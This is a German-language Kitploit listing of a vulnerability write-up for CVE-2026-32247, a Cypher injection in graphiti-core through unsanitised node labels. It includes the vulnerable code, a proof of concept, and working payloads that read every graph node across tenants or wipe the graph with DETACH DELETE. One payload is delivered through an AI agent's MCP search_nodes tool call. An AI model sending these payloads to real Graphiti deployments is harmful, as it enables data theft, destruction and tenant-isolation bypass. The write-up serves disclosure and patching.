Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-32247 — Cypher-Injection in graphiti-core (getzep/graphiti) über unsanitisierte node_labels — CVSS 8.1 | Kitploit
Tools/GitHubGitHub/romain-deperne/cve-2026-32247
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationDatenbanksicherheit
GitHubromain-deperne/cve-2026-32247

CVE-2026-32247

Cypher-Injection in graphiti-core (getzep/graphiti) über unsanitisierte node_labels — CVSS 8.1

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-32247 — Cypher-Injection in graphiti-core über unsanitisierte node_labels

Schweregrad: Hoch (CVSS 8.1) CWE: CWE-943 — Unzureichende Neutralisierung spezieller Elemente in der Datenabfragelogik Betroffen: graphiti-core <= 0.28.1 (pip) Behoben in: 0.28.2 Advisory: GHSA NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247

TL;DR

graphiti-core erstellt Cypher-WHERE-Klauseln, indem benutzergelieferte Node-Label-Strings mit | verbunden und in eine Rohabfrage eingefügt werden. Ein Angreifer kann beliebige Cypher-Operatoren injizieren, Daten aus beliebigen Graph-Knoten über alle Mandanten hinweg exfiltrieren oder den gesamten Graphen löschen — keine Parametrisierung, keine Validierung irgendwo in der Kette.

Wie ich das gefunden habe

Ich habe systematisch MCP-Server-Repositories aus der awesome-mcp-servers-Liste gescannt und mich auf Projekte konzentriert, die LLM-Agenten mit einer Datenbank-Backend verbinden. Graphiti stach hervor, weil es als die Speicherschicht für KI-Agenten positioniert ist — ein Ziel mit hohem Wert.

Mein Scan-Muster für Graphdatenbanken ist einfach: grep nach f-Strings, die MATCH, WHERE oder Label-Verkettung enthalten. Die Zeile 'n:' + node_labels in search_filters.py sprang sofort ins Auge — es ist eine rohe String-Verkettung, die direkt in eine Cypher-Abfrage geht. Die Variable stammte aus entity_types im MCP-Tool-Handler ohne jegliche Validierung.

Was dies über eine Standard-Injection hinaus interessant machte: Die WITH-Klausel von Cypher ermöglicht es, aus einem WHERE-Kontext auszubrechen und eine völlig neue Pipeline zu starten. So schließt ) den geklammerten Label-Ausdruck, WITH n wechselt zu einer neuen Klausel, und // verwirft stillschweigend den Rest der ursprünglichen Abfrage. Ein Payload, voller Graph-Zugriff.

Ich habe es in 10 Minuten bestätigt, indem ich die exakte Logik in einem eigenständigen Python-Skript reproduziert habe, verifizierte, dass DETACH DELETE alle Knoten löscht, und schrieb dann den GHSA-Bericht.

Betroffene Komponente

Datei: graphiti_core/search/search_filters.py, Zeilen 91–92 und 134–135

root@kitploit:~
# Verwundbarer Code — exakte Kopie aus dem Quellcode
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter wird dann in eine Cypher-WHERE-Klausel interpoliert

Einstiegspunkt: mcp_server/src/graphiti_mcp_server.py, Zeile 441

root@kitploit:~
search_filters = SearchFilters(
    node_labels=entity_types,  # Benutzereingabe direkt übergeben, keine Validierung
)

Der Parameter entity_types fließt vom MCP-search_nodes-Toolaufruf direkt in den Query-Builder. Sowohl Neo4j- als auch FalkorDB-Backends sind betroffen. Das Kuzu-Backend ist nicht betroffen, da es parametrisierte Abfragen verwendet.

Grundursache

Der Wert node_label_filter (n:Label1|Label2) wird in eine Cypher-Abfrage eingebettet als:

root@kitploit:~
WHERE (n:Label1|Label2) AND ...

Da Labels mit | verbunden und vom Aufrufer in Klammern gesetzt werden, muss ein Angreifer nur den Ausdruck mit ) schließen und neue Cypher-Klauseln injizieren. Der //-Kommentaroperator unterdrückt den Rest der ursprünglichen Abfrage.

PoC

root@kitploit:~
# Exakte Logik aus search_filters.py Zeilen 91-92
def build_filter(node_labels):
    labels = '|'.join(node_labels)
    return 'n:' + labels

# Harmlos
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization  →  WHERE (n:Person|Organization) AND ...

# Exfiltration: alle Knoten über alle Gruppen hinweg lesen
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Vollständiges Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# Das `) schließt das WHERE, WITH startet eine neue Pipeline, // verwirft den Rest

# Löschung: den gesamten Graphen auslöschen
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))

Über MCP-Toolaufruf:

root@kitploit:~
{
  "tool": "search_nodes",
  "arguments": {
    "query": "test",
    "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
  }
}

Auswirkungen

  • Datenexfiltration: Beliebige Knoten/Beziehungen über alle group_id-Namespaces hinweg lesen
  • Datenzerstörung: DETACH DELETE löscht den gesamten Graphen
  • Umgehung der Mandantenisolierung: Der group_id-Filter wird nach dem injizierbaren Label-Filter angewendet — das Injizieren einer WITH-Klausel umgeht ihn vollständig
  • Graphiti wird als Speicherschicht in mehreren KI-Agenten-Frameworks verwendet; die MCP-Schnittstelle macht dies durch jeden verbundenen Agenten remote ausnutzbar

Fix

Die gepatchte Version validiert Node-Labels gegen eine Allowlist alphanumerischer Zeichen vor der Interpolation, und der Volltextsuchpfad verwendet parametrisierte Abfragen für group_id-Werte.

Zeitplan

  • Entdeckung: 2026-03-xx
  • Gemeldet: GHSA privates Advisory
  • Patch veröffentlicht: graphiti-core 0.28.2
  • CVE veröffentlicht: CVE-2026-32247
Tool herunterladen